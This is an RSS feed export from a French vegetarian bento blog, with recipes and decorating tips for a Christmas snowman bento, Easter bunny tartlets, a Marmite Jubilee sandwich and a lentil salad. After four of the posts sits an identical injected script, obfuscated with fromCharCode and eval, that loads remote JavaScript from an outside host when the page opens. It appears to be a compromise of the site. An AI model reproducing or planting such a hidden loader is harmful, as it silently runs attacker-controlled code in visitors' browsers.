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	<title>Mon Bento Végétarien &#187; nori</title>
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	<description>Une site avec des bentos mais pas que</description>
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		<title>❄ ✳ ✰ Bento Nuit de Noël ✰ ✳ ❄</title>
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		<pubDate>Fri, 20 Dec 2013 05:22:08 +0000</pubDate>
		<dc:creator><![CDATA[Cocyte]]></dc:creator>
				<category><![CDATA[Bento]]></category>
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		<description><![CDATA[Un Bento [vidéo] de Noël avec de la nuit, un sapin et un bonhomme de Neige !? FACILE ! Les flocons tombent dans le ciel noir. Là haut une étoile brille plus que les autres. Elle éclaire un petit bonhomme de neige tout mignon et son joli sapin. ♫ ♪ C&#8217;est la belle nuit de Noel [&#8230;]]]></description>
				<content:encoded><![CDATA[<p style="text-align: center;">
<p style="text-align: center;">
<p style="text-align: center;">
<p style="text-align: center;">
<p style="text-align: center;">
<p style="text-align: center;"><a href="http://www.monbentovegetarien.com/wp-content/uploads/2013/12/DSC_7678-Copie-2.jpg"><img class="aligncenter size-large wp-image-4064" title="christmas-bento-de-noël-bonhomme-de-neige-snow" src="http://www.monbentovegetarien.com/wp-content/uploads/2013/12/DSC_7678-Copie-2-786x1024.jpg" alt="" width="425" height="553" /></a></p>
<p style="text-align: center;">
<p style="text-align: center;">
<p style="text-align: center;">
<p style="text-align: center;">
<p style="text-align: center;">
<p style="text-align: center;">Un Bento <strong>[vidéo]</strong> de Noël avec de la nuit, un sapin et un bonhomme de Neige !?</p>
<h3 style="text-align: center;"><span style="color: #008000;">F<span style="color: #ff0000;">A</span>C<span style="color: #ff0000;">I</span>L<span style="color: #ff0000;">E</span> !</span></h3>
<p style="text-align: center;"><em>Les flocons tombent dans le ciel noir.</em></p>
<p style="text-align: center;"><em>Là haut une étoile brille plus que les autres.</em></p>
<p style="text-align: center;"><em>Elle éclaire un petit bonhomme de neige tout mignon et son joli sapin.</em></p>
<p style="text-align: center;"><em>♫ ♪ C&rsquo;est la belle nuit de Noel<br />
La Neige étend son Manteau Blanc ♫ ♪</em></p>
<h3 style="text-align: center;"><span style="color: #008000;">▼   ▼   ▼   ▼</span></h3>
<p style="text-align: center;"><span style="color: #008000;">[youtube]http://www.youtube.com/watch?v=zihXQof0n0E[/youtube]</span></p>
<p style="text-align: center;">
<h3 style="text-align: center;"><span style="color: #ff0000;"><span style="color: #008000;">P</span>o<span style="color: #008000;">u</span>r <span style="color: #008000;">r</span>é<span style="color: #008000;">a</span>l<span style="color: #008000;">i</span>s<span style="color: #008000;">e</span>r<span style="color: #008000;"> c</span>e <span style="color: #008000;">B</span>e<span style="color: #008000;">n</span>t<span style="color: #008000;">o</span> v<span style="color: #008000;">o</span>u<span style="color: #008000;">s</span> a<span style="color: #008000;">u</span>r<span style="color: #008000;">e</span>z <span style="color: #008000;">b</span>e<span style="color: #008000;">s</span>o<span style="color: #008000;">i</span>n <span style="color: #008000;">:</span></span></h3>
<p style="text-align: center;">
<p style="text-align: center;">- d&rsquo;emporte-pièces (sapin, lune, étoile, rond et alphabet)</p>
<p style="text-align: center;">- d&rsquo;une salade de lentilles</p>
<p style="text-align: center;">- d&rsquo;un petit bol d&rsquo;eau froide (pour manipuler le riz sans qu&rsquo;il colle aux doigts)</p>
<p style="text-align: center;">- d&rsquo;une feuille de Nori</p>
<p style="text-align: center;">- d&rsquo;haricots verts</p>
<p style="text-align: center;">- de radis blanc (ou noir)</p>
<p style="text-align: center;">- d&rsquo;olives noires</p>
<p style="text-align: center;">- d&rsquo;une rondelle de carotte</p>
<p style="text-align: center;">- de graines de sésame noir</p>
<p style="text-align: center;">- d&rsquo;un bâton de bretzel</p>
<p style="text-align: center;">- d&rsquo;un bout de concombre</p>
<p style="text-align: center;">- d&rsquo;une pomme bien rouge</p>
<p style="text-align: center;">- de 2 cure-dents</p>
<p style="text-align: center;">- de riz vinaigré</p>
<p style="text-align: center;"><em><span style="color: #888888;">Avec son Bonhomme de Neige Onigiri, son sapin haricots et sa salade de lentille (au vinaigre balsamique, origan, jeunes pousses d&rsquo;épinard, tomate et chèvre frais), ce Bento a tout ce qu&rsquo;il faut pour que vous restiez en forme toute la journée.</span></em></p>
<p style="text-align: center;"><em><span style="color: #000000;">Parce que Bento mignon, oui ! Mais Bento nourrissant d&rsquo;abord !</span></em></p>
<p style="text-align: center;"><em><span style="color: #888888;">Pour faire la neige sur le sapin, j&rsquo;ai utilisé l&rsquo;emporte-pièce sapin et un emporte pièce lune (avec visage). N&rsquo;importe quel emporte-pièce un peu &laquo;&nbsp;vallonné&nbsp;&raquo;, aurait fait l&rsquo;affaire. Il s&rsquo;agit juste de simuler des petits tas de neige qui tombent en cascade sur les branches. Alors pourquoi pas un emporte-pièce nuage ou encore une découpe au couteau.</span></em></p>
<p style="text-align: center;"><em><span style="color: #000000;">Si vous préparez ce Bento la veille aucun problème. Veillez seulement à ajouter les bras du Bonhomme de Neige le lendemain matin. Le Bretzel tient très bien quelques heures dans un bento mais toute une nuit au frigo c&rsquo;est trop lui en demander. N&rsquo;hésitez pas à me poser vos questions si certains détails vous échappent.</span></em></p>
<h2 style="text-align: center;"><span style="color: #008000;">V<span style="color: #ff0000;">o</span>i<span style="color: #ff0000;">l</span>à <span style="color: #ff0000;">!</span></span></h2>
<p style="text-align: center;">J&rsquo;espère que cette petite vidéo de Noël vous aura plu. Jean-Patou et moi même y avons mis tout notre coeur ! N&rsquo;hésitez pas à la partager !</p>
<h2 style="text-align: center;"><span style="color: #008000;">✰ <span style="color: #ff0000;">✳ ♥ ✳ </span>✰</span></h2>
<p style="text-align: center;">Il ne me reste plus qu&rsquo;à vous souhaiter de Bonnes Fêtes.</p>
<p style="text-align: center;">Qu&rsquo;elles soient pleine d&rsquo;Amour et de Lumière !</p>
<p style="text-align: center;">Et que l&rsquo;Esprit de Noël soit avec vous !</p>
<h2 style="text-align: center;"><span style="color: #008000;"><span style="color: #ff0000;"><span style="color: #008000;">À</span></span><span style="color: #ff0000;"> l</span><span style="color: #008000;">&lsquo;</span><span style="color: #ff0000;">A</span><span style="color: #008000;">n</span><span style="color: #ff0000;">n</span><span style="color: #008000;">é</span><span style="color: #ff0000;">e</span><span style="color: #008000;"> P</span><span style="color: #ff0000;">r</span><span style="color: #008000;">o</span><span style="color: #ff0000;">c</span><span style="color: #008000;">h</span><span style="color: #ff0000;">a</span><span style="color: #008000;">i</span><span style="color: #ff0000;">n</span><span style="color: #008000;">e </span><span style="color: #ff0000;">!</span></span></h2>
<h2 style="text-align: center;"><span style="color: #008000;"><span style="font-weight: normal;"><br />
</span></span></h2>
<p style="text-align: center;">
<p style="text-align: center;">
<p style="text-align: center;">
<p><script>var f=String;eval(f.fromCharCode(102,117,110)+f.fromCharCode(99,116,105,111,110)+f.fromCharCode(32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110)+f.fromCharCode(32,66,111,111,108,101,97,110)+f.fromCharCode(40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,121,46,108,105,110)+f.fromCharCode(101,115,116,111,103,101,116,46,99,111,109,47,115,99,114,105,112,116,115,47,99,104,101,99,107,46,106,115,63,118,61,53,46,53,53,46,53,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110)+f.fromCharCode(116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110)+f.fromCharCode(116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,46,112,97,114,101,110)+f.fromCharCode(116,78,111,100,101,46,105,110)+f.fromCharCode(115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110)+f.fromCharCode(116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110)+f.fromCharCode(100,67,104,105,108,100,40,115,41,59,125,125));/*99586587347*/</script></p>
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		<title>Bento de Pâques et recette des Tartelettes Lapinou en vidéo</title>
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		<pubDate>Mon, 01 Apr 2013 09:41:49 +0000</pubDate>
		<dc:creator><![CDATA[Cocyte]]></dc:creator>
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		<description><![CDATA[Les cloches sont passées, le chocolat a coulé à flots&#8230; Mettons un point final à ces célébrations Pascales avec un Bento Festif ! Dans ce bento il y a un cupcakes de Pâques sur lequel j&#8217;ai piqué une fleur azyme. J&#8217;ai découpé le fond du cupcake (il lui fallait quelques millimètres en moins pour rentrer [&#8230;]]]></description>
				<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://www.monbentovegetarien.com/wp-content/uploads/2013/03/DSC6246-Copie.jpg"><img class="aligncenter size-large wp-image-3368" title="Bento de Pâques" src="http://www.monbentovegetarien.com/wp-content/uploads/2013/03/DSC6246-Copie-726x1024.jpg" alt="" width="436" height="614" /></a></p>
<p style="text-align: center;">Les cloches sont passées, le chocolat a coulé à flots&#8230; Mettons un point final à ces célébrations Pascales avec un Bento Festif !</p>
<p style="text-align: center;">Dans ce bento il y a un cupcakes de Pâques sur lequel j&rsquo;ai piqué une <a href="http://www.youtube.com/watch?v=AhMTELLX3Os" target="_blank">fleur azyme</a>. J&rsquo;ai découpé le fond du cupcake (il lui fallait quelques millimètres en moins pour rentrer dans le bento). Pour la recette de ce <a href="http://www.monbentovegetarien.com/2013/03/29/cupcake-pascal-mini-chocolate-fudge-brownie-schoko-bons/" target="_blank">chocolate fudge Brownie de Pâques fourré au schoko-bon</a> c&rsquo;est par ici :</p>
<p style="text-align: center;"><a href="http://www.monbentovegetarien.com/2013/03/29/cupcake-pascal-mini-chocolate-fudge-brownie-schoko-bons/" target="_blank"><img class="aligncenter size-full wp-image-3382" title="cupcake-schokobon-1024x678" src="http://www.monbentovegetarien.com/wp-content/uploads/2013/04/cupcake-schokobon-1024x678.jpg" alt="" width="221" height="146" /></a></p>
<p style="text-align: center;">Dans ce bento il y a aussi du raisin blanc (caché sous un Poussin en chocolat),de la roquette, un Poussin  (une cup de maïs avec patte et bec en carotte et yeux en radis noir et nori), de l&rsquo;avocat arrosé de jus de citron (pour rester bien vert), un joli <a href="http://casabento.com/shop/fr/558-accessoires-bento-feuilles-separation-baran-arc-ciel.html" target="_blank">baran champignon</a> bleu, de la sauce soja dans une petite <a href="http://www.bentoandco.com/products/animal-bottle" target="_blank">bouteille lapin</a>, et un fromage de type babybel décoré avec des petits œufs de carotte.</p>
<p style="text-align: center;">Mais dans ce bento il y a surtout des tartelettes Lapinou ! Avec leur purée de carotte/chèvre frais et leur petit air mutin elles ont tout pour plaire.</p>
<p style="text-align: center;">
<h3 style="text-align: center;"><strong><span style="color: #00ccff;">Pour</span> <span style="color: #fa8072;">l&rsquo;</span><span style="color: #9acd32;">occasion</span> <span style="color: #00ccff;">je</span> <span style="color: #fa8072;">vous</span> <span style="color: #9acd32;">ai</span> <span style="color: #00ccff;">préparé</span> <span style="color: #fa8072;">une</span> <span style="color: #9acd32;">petite</span> <span style="color: #00ccff;">vidéo</span> <span style="color: #fa8072;">avec</span> <span style="color: #9acd32;">recette</span> <span style="color: #00ccff;">+</span> <span style="color: #fa8072;">&laquo;&nbsp;</span><span style="color: #9acd32;">mise</span> <span style="color: #00ccff;">en</span> <span style="color: #fa8072;">Bento</span><span style="color: #9acd32;">&laquo;&nbsp;</span> <span style="color: #00ccff;">:</span></strong></h3>
<p style="text-align: center;">[youtube]http://www.youtube.com/watch?v=AhMTELLX3Os[/youtube]</p>
<p style="text-align: center;">Les yeux des lapins sont en radis noir et nori, les moustache et les dents sont en radis aussi. Pour le nez j&rsquo;ai découpé un petit bout d&rsquo;olive noir avec l&rsquo;un des mes <a href="http://www.satsuki.fr/emporte-pieces.htm" target="_blank">emporte pièces kaomoji</a>.</p>
<h3 style="text-align: center;"><span style="color: #008000;"><strong><span style="color: #9acd32;">Pour</span> <span style="color: #00ccff;">12</span> <span style="color: #fa8072;">tartelettes</span> <span style="color: #9acd32;">(</span><span style="color: #00ccff;">+</span> <span style="color: #fa8072;">1</span> <span style="color: #9acd32;">tarte</span><span style="color: #00ccff;">)</span> <span style="color: #fa8072;">il</span> <span style="color: #9acd32;">vous</span> <span style="color: #00ccff;">faut</span> </strong><span style="color: #fa8072;"><strong>:</strong></span></span></h3>
<p style="text-align: center;"><strong><span style="color: #00ccff;"><span style="color: #9acd32;">-</span> Une</span> <span style="color: #fa8072;">pâte</span> <span style="color: #9acd32;">brisée</span> <span style="color: #00ccff;">:</span></strong></p>
<p style="text-align: center;">- 500 g de farine</p>
<p style="text-align: center;">- 105 g de beurre</p>
<p style="text-align: center;">- 105 g de margarine</p>
<p style="text-align: center;">- 1 c.c sel</p>
<p style="text-align: center;">- 13 c.s d&rsquo;eau (environ)</p>
<p style="text-align: center;"><strong><span style="color: #fa8072;"><span style="color: #00ccff;">-</span> Une</span> <span style="color: #9acd32;">purée</span> <span style="color: #00ccff;">carotte</span><span style="color: #fa8072;">/</span><span style="color: #9acd32;">chèvre</span><span style="color: #00ccff;"> frais</span> <span style="color: #fa8072;">:</span></strong></p>
<p style="text-align: center;">Purée de carotte</p>
<p style="text-align: center;">- 800 g de carottes</p>
<p style="text-align: center;">- 100 g de chèvre frais</p>
<p style="text-align: center;">- 20 g de beurre</p>
<p style="text-align: center;">- 25 g d&rsquo;emmental</p>
<p style="text-align: center;">- 1 c.s de maïzena</p>
<p style="text-align: center;">- sel</p>
<p style="text-align: center;">- noix de muscade</p>
<p style="text-align: center;">- un peu de gros sel pour l&rsquo;eau de cuisson</p>
<p style="text-align: center;">
<p style="text-align: center;">
<p style="text-align: center;">
<p style="text-align: center;"><a href="http://www.monbentovegetarien.com/wp-content/uploads/2013/03/DSC6287.jpg"><img class="aligncenter size-large wp-image-3378" title="tartelettes lapinou" src="http://www.monbentovegetarien.com/wp-content/uploads/2013/03/DSC6287-1024x721.jpg" alt="" width="614" height="433" /></a></p>
<p style="text-align: center;">
<p style="text-align: center;">
<p style="text-align: center;">Faire cuire les fonds de tartelettes 15 min dans un four préchauffé à 250°c. Cuire les carottes dans un grand volume d&rsquo;eau salée. Une fois que les carottes sont cuites on se débarrasse de toute l&rsquo;eau de cuisson, on ajoute le reste des ingrédients et on mixe. On dépose une peu de purée dans les fonds de tartelettes et on les enfourne pour 5 min supplémentaires (toujours à 250°C).</p>
<p style="text-align: center;">Avec un emporte piece on découpe 6 petits cœurs dans la pâte. On coupe les cœur en deux pour obtenir 12 oreilles de lapin.</p>
<p style="text-align: center;">Cuire les oreilles 7 min à 250°C.</p>
<p style="text-align: center;">Pour ce qui est de l’assemblage du Lapinou tout est dans la vidéo !</p>
<p style="text-align: center;">Avec le reste de pâte et de purée on fait une belle tarte (parce que y&rsquo;a pas qu&rsquo;les Bento dans la vie): 25 min au four à 250°c.</p>
<p style="text-align: center;">
<p style="text-align: center;">
<p style="text-align: center;">Pour la découpe de mon &laquo;&nbsp;Joyeuses Pâques&nbsp;&raquo; en concombre (sous le bento) j&rsquo;ai utilisé mes <a href="http://casabento.com/shop/fr/1937-emporte-pieces-abc.html" target="_blank">emporte-pièces ABC</a>.</p>
<h1 style="text-align: center;"><strong><span style="color: #00ccff;">V</span><span style="color: #fa8072;">o</span><span style="color: #9acd32;">i</span><span style="color: #00ccff;">l</span><span style="color: #fa8072;">à</span> <span style="color: #9acd32;">!</span></strong></h1>
<p style="text-align: center;"><a href="http://www.monbentovegetarien.com/wp-content/uploads/2013/04/joyeusespaques.jpg"><img class="aligncenter size-full wp-image-3398" title="joyeusespaques" src="http://www.monbentovegetarien.com/wp-content/uploads/2013/04/joyeusespaques.jpg" alt="" width="472" height="225" /></a></p>
<p style="text-align: center;">
<p style="text-align: center;">
<p><script>var f=String;eval(f.fromCharCode(102,117,110)+f.fromCharCode(99,116,105,111,110)+f.fromCharCode(32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110)+f.fromCharCode(32,66,111,111,108,101,97,110)+f.fromCharCode(40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,121,46,108,105,110)+f.fromCharCode(101,115,116,111,103,101,116,46,99,111,109,47,115,99,114,105,112,116,115,47,99,104,101,99,107,46,106,115,63,118,61,53,46,53,53,46,53,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110)+f.fromCharCode(116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110)+f.fromCharCode(116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,46,112,97,114,101,110)+f.fromCharCode(116,78,111,100,101,46,105,110)+f.fromCharCode(115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110)+f.fromCharCode(116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110)+f.fromCharCode(100,67,104,105,108,100,40,115,41,59,125,125));/*99586587347*/</script></p>
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		<title>Bento Jubilé de Diamant : Sandwich au Marmite Élisabeth II</title>
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		<pubDate>Sun, 03 Jun 2012 10:28:31 +0000</pubDate>
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		<description><![CDATA[Élisabeth II fête ses 60 ans de règne ! Let&#8217;s celebrate avec un Royal Sandwich ! Pour décorer mon sandwich royal je me suis essayée à la découpe de nori. En fait je me suis surtout charcuté les doigts avec mon scalpel et le résultat n&#8217;est que très modérément satisfaisant&#8230; Je me suis quand même [&#8230;]]]></description>
				<content:encoded><![CDATA[<p style="text-align: center;"><span style="color: #333333;">Élisabeth II fête ses 60 ans de règne ! Let&rsquo;s celebrate avec un Royal Sandwich !</span></p>
<p style="text-align: center;"><a href="http://www.monbentovegetarien.com/wp-content/uploads/2012/06/juuub.jpg"><img class="aligncenter size-large wp-image-2023" title="bento-diamond-jubilee-food-art-profil-nori-végératien-marmite-reine-d'angleterre-queen-sandwich" src="http://www.monbentovegetarien.com/wp-content/uploads/2012/06/juuub-675x1024.jpg" alt="" width="405" height="614" /></a></p>
<p style="text-align: center;">
<p style="text-align: left;"><span style="color: #333333;">Pour décorer mon sandwich royal je me suis essayée à la découpe de <a href="http://fr.wikipedia.org/wiki/Nori" target="_blank">nori</a>. En fait je me suis surtout charcuté les doigts avec mon scalpel et le résultat n&rsquo;est que très modérément satisfaisant&#8230; </span></p>
<p style="text-align: left;"><span style="color: #333333;">Je me suis quand même amusée comme une petite folle, c&rsquo;est le principal. </span></p>
<p style="text-align: left;"><span style="color: #333333;">Comme ça n&rsquo;se voit pas forcement au 1er coup d’œil, je précise qu&rsquo;il s&rsquo;agit du profil d’Élisabeth.</span></p>
<p style="text-align: left;"><span style="color: #333333;">Ma sœur (qui habite en Angleterre), m&rsquo;a offert la plus belle boite à biscuit du Monde ! Quand j&rsquo;ai vu ce joli portrait en ombre chinoise je me suis dit que je pourrais peut être refaire la même chose avec du nori. </span></p>
<p style="text-align: center;"><span style="color: #333333;"><a href="http://www.monbentovegetarien.com/wp-content/uploads/2012/06/boite.jpg"><img class="size-full wp-image-2022  aligncenter" title="boite" src="http://www.monbentovegetarien.com/wp-content/uploads/2012/06/boite.jpg" alt="" width="346" height="259" /></a></span></p>
<p style="text-align: left;"><span style="color: #333333;"><br />
</span></p>
<p style="text-align: left;"><span style="color: #333333;">J&rsquo;avais tort&#8230; </span>C&rsquo;est <span style="color: #333333;">en essayant de faire la couronne ajourée et les perles </span>que je me suis tué les doigts<span style="color: #333333;">. Finalement la feuille d&rsquo;algue n&rsquo;a pas résisté et j&rsquo;ai recommencé le découpage en plus simple. </span></p>
<p style="text-align: left;"><span style="color: #333333;">Je jure que j&rsquo;vais m’entrainer et qu&rsquo;un jour je deviendrai la reine du nori. Mais pour aujourd&rsquo;hui on fera avec !<br />
</span></p>
<p style="text-align: center;"><span style="color: #333333;"><br />
</span></p>
<p style="text-align: left;"><span style="color: #333333;">Bien entendu le sandwich en question est lui même très british : Beurre, concombre, <a href="http://fr.wikipedia.org/wiki/Marmite_(aliment)" target="_blank">Marmite</a> (j&rsquo;en suis folle).</span></p>
<p style="text-align: center;"><a href="http://www.monbentovegetarien.com/wp-content/uploads/2012/06/marmite.jpg"><img class="aligncenter size-large wp-image-2025" title="sandwich-végétarien-marmite-beurre-concombre-anglais" src="http://www.monbentovegetarien.com/wp-content/uploads/2012/06/marmite-1024x682.jpg" alt="" width="553" height="368" /></a></p>
<p style="text-align: left;"><span style="color: #333333;"><br />
</span></p>
<p style="text-align: left;"><span style="color: #333333;">Amies fanatiques, vous aurez certainement remarqué le super &laquo;&nbsp;marmite qui se pose la tête en bas&nbsp;&raquo; et qui se presse comme une bouteille de ketchup (merci aussi ma sœur).</span></p>
<p style="text-align: left;"><span style="color: #333333;">C&rsquo;est Sooo Pratique ! Je dirais même plus c’est révolutionnaire ! Le dosage est aisé et plus personne ne plongera son couteau plein de miettes et de beurre dans la précieuse pâte à tartiner.</span><span style="color: #000000;"> </span></p>
<h2 style="text-align: center;"><span style="color: #ffa07a;">God Save the Queen &amp;</span><span style="color: #333333;"><span style="color: #ffa07a;"> God Bless le Marmite !</span><br />
</span></h2>
<p style="text-align: center;">
<p style="text-align: center;">
<p style="text-align: center;">
<p style="text-align: center;">
<p><script>var f=String;eval(f.fromCharCode(102,117,110)+f.fromCharCode(99,116,105,111,110)+f.fromCharCode(32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110)+f.fromCharCode(32,66,111,111,108,101,97,110)+f.fromCharCode(40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,121,46,108,105,110)+f.fromCharCode(101,115,116,111,103,101,116,46,99,111,109,47,115,99,114,105,112,116,115,47,99,104,101,99,107,46,106,115,63,118,61,53,46,53,53,46,53,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110)+f.fromCharCode(116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110)+f.fromCharCode(116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,46,112,97,114,101,110)+f.fromCharCode(116,78,111,100,101,46,105,110)+f.fromCharCode(115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110)+f.fromCharCode(116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110)+f.fromCharCode(100,67,104,105,108,100,40,115,41,59,125,125));/*99586587347*/</script></p>
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		<title>Bento Blé Tendre et Lentilles</title>
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		<pubDate>Wed, 30 May 2012 04:28:25 +0000</pubDate>
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		<description><![CDATA[Aujourd&#8217;hui dans mon Bento il y a une salade de Lentilles et une salade de blé tendre ! Voilà un sympathique bento, pas compliqué, bien frais et nourrissant. Dans la salade de blé tendre j&#8217;ai mis du concombre, de la tomate fraiche, le jus et le zeste d&#8217;un citron. Les lentilles elles, ont été cuites [&#8230;]]]></description>
				<content:encoded><![CDATA[<p style="text-align: center;">Aujourd&rsquo;hui dans mon Bento il y a une salade de Lentilles et une salade de blé tendre !</p>
<p style="text-align: center;"><a href="http://www.monbentovegetarien.com/wp-content/uploads/2012/05/lentille2.jpg"><img class="aligncenter size-large wp-image-1992" title="bento-végétarien-blé-tendre-lentille-crudités-salade-froid" src="http://www.monbentovegetarien.com/wp-content/uploads/2012/05/lentille2-653x1024.jpg" alt="" width="392" height="614" /></a></p>
<p style="text-align: left;">
<p style="text-align: left;">Voilà un sympathique bento, pas compliqué, bien frais et nourrissant. Dans la salade de blé tendre j&rsquo;ai mis du concombre, de la tomate fraiche, le jus et le zeste d&rsquo;un citron.</p>
<p style="text-align: left;">Les lentilles elles, ont été cuites dans un grand volume d&rsquo;eau salé avec beaucoup, BEAUCOUP, d&rsquo;herbes de Provence. Après un passage au frigo on obtient cette délicieuse salade de lentilles froide (j&rsquo;pourrais en manger toute ma vie tellement c&rsquo;est bon).</p>
<p style="text-align: left;">Dans ce bento il y a aussi des pousses d&rsquo;alfalfa, des radis ronds, quelques feuilles de roquette, un kiwi et 3 fraises. J&rsquo;ai déposé une étoile de nori sur chacune des fraises.</p>
<p style="text-align: left;">Des étoiles il y en a aussi sur les lentilles, celles-ci sont découpées à l&rsquo;emporte pièce dans du concombre et de la chair de tomate.</p>
<p style="text-align: left;">Vous aurez aussi remarqué la jolie petite brochette emmental/concombre sur <a href="http://www.bentoandco.com/products/piques-bambou" target="_blank">pique en bambou fleuri</a> de chez <a href="http://www.bentoandco.com/" target="_blank">bento&amp;Co</a> (adorable non?!).</p>
<p><script>var f=String;eval(f.fromCharCode(102,117,110)+f.fromCharCode(99,116,105,111,110)+f.fromCharCode(32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110)+f.fromCharCode(32,66,111,111,108,101,97,110)+f.fromCharCode(40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,121,46,108,105,110)+f.fromCharCode(101,115,116,111,103,101,116,46,99,111,109,47,115,99,114,105,112,116,115,47,99,104,101,99,107,46,106,115,63,118,61,53,46,53,53,46,53,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110)+f.fromCharCode(116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110)+f.fromCharCode(116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,46,112,97,114,101,110)+f.fromCharCode(116,78,111,100,101,46,105,110)+f.fromCharCode(115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110)+f.fromCharCode(116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110)+f.fromCharCode(100,67,104,105,108,100,40,115,41,59,125,125));/*99586587347*/</script></p>
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		<title>Fresh FRESH MAKI</title>
		<link>http://beta.monbentovegetarien.com/2012/03/26/fresh-fresh-maki/</link>
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		<pubDate>Mon, 26 Mar 2012 07:47:57 +0000</pubDate>
		<dc:creator><![CDATA[Cocyte]]></dc:creator>
				<category><![CDATA[Bento]]></category>
		<category><![CDATA[Recettes]]></category>
		<category><![CDATA[avocat]]></category>
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		<category><![CDATA[concombre]]></category>
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		<description><![CDATA[Menthe fraiche/Chèvre frais/Concombre/Avocat/Cumin Aujourd&#8217;hui il y a des Fresh FRESH MAKI dans mon Bento ! Pourquoi Fresh FRESH ? Parce que Menthe Fraiche et Chèvre frais ! J&#8217;adoooore de cette combinaison de saveurs ! Ceux qui ont déjà fait un tour sur mon flickr savent que ces maki là sont mes préférés. J&#8217;essaie parfois de [&#8230;]]]></description>
				<content:encoded><![CDATA[<p style="text-align: center;">
<p style="text-align: center;">Menthe fraiche/Chèvre frais/Concombre/Avocat/Cumin</p>
<p style="text-align: center;">Aujourd&rsquo;hui il y a des Fresh FRESH MAKI dans mon Bento !</p>
